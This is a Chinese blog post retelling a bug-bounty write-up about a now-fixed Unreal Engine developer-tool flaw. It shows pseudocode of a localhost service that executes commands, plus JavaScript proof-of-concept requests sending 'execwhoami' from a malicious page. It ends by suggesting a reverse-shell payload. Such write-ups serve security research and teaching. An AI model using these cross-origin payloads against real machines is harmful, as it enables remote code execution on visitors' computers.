白帽故事 · 2024年1月4日 0

如何在Epic Games上赚到$7,000赏金

背景介绍

今天来看看国外白帽通过将一个简单的漏洞升级为可远程触发的代码执行漏洞,如何在Epic Games赏金计划中获得了7K奖励,当然,目前该漏洞已被修复,在此次漏洞挖掘过程中,白帽小哥学到了两样东西:

始终最大化影响

在发现漏洞时,始终找出攻击者可以利用它做的最糟糕的事情是什么,并将其展示给厂商!通常,厂商不会意识到漏洞的影响,因为他们有时候并不熟悉黑客攻击。

报告质量同样重要

当在撰写漏洞报告时,因为会涉及到赏金数额,因此要始终确保报告简洁、易于理解,并包含供应商重现漏洞所需的所有信息。另外,假如厂商不能复现漏洞,他们就不会付钱给你,让报告尽可能简单易懂是很重要的,因为厂商不会在你的报告上浪费太多时间。

关于这个漏洞

之所以选择Epic Games的漏洞赏金计划,一是因为他们的赏金很高,还有就是喜欢玩他们的游戏。

但白帽小哥不想把目标对准堡垒之夜或任何其他重要的游戏或比赛,因为这些似乎超出了白帽小哥的技术能力范围,于是白帽小哥将重点放在了虚幻引擎上。假如在虚幻引擎中发现一个漏洞,它就会影响所有使用它的游戏,于是白帽小哥开始研究引擎的源代码,在忙碌了一个月后,却没有任何进展,于是白帽小哥将目标转移到了虚幻引擎开发人员创建游戏的开发工具上。

白帽小哥查看了每个开发工具,并注意到一些有趣的事情:在某些情况下,用户可以向虚幻引擎编辑器发送一条消息,然后编辑器就会执行任意代码(这听起来似乎有点不可思议,但事实确实如此),唯一的问题是消息必须从本地主机发送,这就意味着攻击者必须与虚幻引擎编辑器在同一台机器上,额…这算是一个漏洞吗?似乎也不完全是,那还是先来看看易受攻击函数的伪代码吧:

func parse_message(socket client_con){
 byte* buf = b””
 while(true){
 byte* tmp = client_con.read()
 if(tmp == b<EOF>”){
 break
 }
 buf += tmp
 }
 DEBUG_LOG(‘received message of length: ‘ + buf.length)
}

func handle_message(byte* buf){
 if(buf.length > 1000){
 DEBUG_LOG('message too long')
 return
 }
// parsing logic was quite different but this suffices as an example
 method = buf[0:4]
 if(method == b"exec"){
 SYSTEM(buf[4:])
 }
}
func main(){
 socket server_con = listen(localhost, PORT)
 while(true){
 socket client_con = server_con.accept()
 thread.create(() => {
 while(true){
 parse_message(client_con)
 })
}

换做你会怎么做?

如果换做是你,你希望你接下来会做什么?你会采取什么措施来升级该漏洞的严重性?花几分钟时间想一想。然后继续阅读!对于作为‘赏金猎人生’的你来说,这将是一次非常值得的锻炼。

解决方案

OK,揭晓答案,解决方案就是利用松散的解析!你可以看到,该服务本质上是从客户端套接字流读取消息,直到遇到字符串EOF,然后解析该消息并执行它,解析逻辑比较复杂,本文不会进行过多的详细介绍。

重要的是,在读取EOF之后,服务将一次又一次地调用Read_Message,直到套接字关闭。这样,即使攻击者不在本地主机上运行,也可以发送消息。

答案就在浏览器中,浏览器是计算机通向世界的大门,浏览器可能是计算机上使用最多的应用程序,它还可以发送请求,如果我们在攻击者的机器上运行一个恶意网站并且可以让受害者访问它,那么就可以强制浏览器向存在漏洞的服务发送请求!

现在第一步是了解如何从浏览器向本地主机发送请求,准备好你的JavaScript技能,来考虑一下我们需要做什么:我们需要向localhost:PORT发送一个将由服务解析的消息请求。那么,如何从浏览器连接到任意端口呢?让我们来看看WebSocket API文档:

WebSocket API是一种高级技术,它使在用户的浏览器和服务器之间打开双向交互通信会话成为可能。使用此API,你可以向服务器发送消息并接收事件驱动的响应,而不必轮询服务器以获取回复。

直接试一试,对于以下内容,WEL将假定该服务在本地主机端口8080上运行,遵循WebSockets API文档,最终得出以下POC:

html
<html>
<script>
var ws = new WebSocket("ws://localhost:8080");
ws.onopen = function() {
 ws.send("execwhoami<EOF>");
};
</script>
</html>

另外,如果不使用虚幻引擎,而是在端口8080上打开一个简单的Netcat,就可以看到消息是否已收到:

nc -vlp 8080

在浏览器中打开HTML文件后,可以看到Netcat收到了消息,看看Netcat收到了什么:

Connection from 127.0.0.1:46474
GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: FzPTm4lfESwfJ1f+UdGmAA==
Sec-WebSocket-Extensions: permessage-deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

一个HTTP请求?!因为WebSocket API构建在HTTP协议之上,当且仅当服务以有效的WebSocket升级响应时,浏览器将首先向服务器发送一个HTTP请求,然后将该连接升级为WebSocket连接,在我们的案例中,这项服务根本不会应答。这也是浏览器(在5秒的超时间隔后)在控制台中发出错误消息的原因:

WebSockets中的这种握手机制恰恰可以防止此类攻击。

就这么结束了么?

我们不能向本地主机发送任意消息,因为该服务不会启动真正的WebSocket连接,我们还有其它选择吗?继续阅读前再思考一下?

JavaScript 还可以从浏览器发送 HTTP 请求,那么我们可以向 localhost:8080 发送一个 HTTP 请求吗?假设我们可以,那么可以让服务来解析消息吗?回想一下代码!

该服务将读取消息,直到字符串遇到<EOF>。因此,如果我们发送一个 HTTP 请求,其正文包含该字符串<EOF>,服务将对其进行解析,从而产生无效消息。

但该服务不会关心这一点,只会继续读取消息,第一个<EOF>之后,就可以放置我们的Payload,服务器就会从套接字流中处理它,HTTP POST 请求如下:

POST / HTTP/1.1
Host: localhost:8080
Content-Length: XXX
Connection: keep-alive
(OTHER HEADERS)\r\n\r\n
<EOF>
execwhoami<EOF>\r\n\r\n

使用以下JavaScript代码来发送请求:

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8080", true);
xhr.send("execwhoami<EOF>\r\n\r\n");
// now read response
xhr.onreadystatechange = () => {
 if (xhr.readyState === 4) {
 console.log(xhr.response);
 }
 };

浏览器控制台就会弹出:

这看起来并不乐观,来检查一下Netcat监听器:

Connection from 127.0.0.1:52592
POST / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 19
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

execwhoami<EOF>

显然我们确实向 Netcat 监听器发送了一个 HTTP 请求,请求正文中包含了我们的Payload,可为什么浏览器会在控制台中显示错误呢?

关于CORS

CRRS-更好的跨域资源共享-是一种允许服务器指定允许哪些来源访问其资源的机制,这是一种安全机制,可防止攻击者访问不适合他们的资源。

例如,如果你登录到你的银行帐户并访问恶意网站,该网站将无法访问你的银行帐户信息。这是因为银行网站将发送指定只允许银行网站访问银行帐户信息的CORS报头,然后,浏览器将强制执行这一策略,并阻止恶意网站访问银行账户信息。

需要记住的重要一点是,CORS阻止我们“阅读”请求的响应,但这并不妨碍我们“发送”请求,了解这一点很重要,我们仍然可以向服务发送请求,但无法读取响应。这对我们来说不是问题,因为我们不在乎响应,我们只关心发送到服务的请求。

现在可以使用不需要直接从服务读取一些输出的Payload,例如反弹 Shell,然后就可以从浏览器中进行 RCE 了!现在,任何访问我们恶意网站的不幸开发者都会在他们的机器上打开一个反弹 Shell 连接!

你学会了么?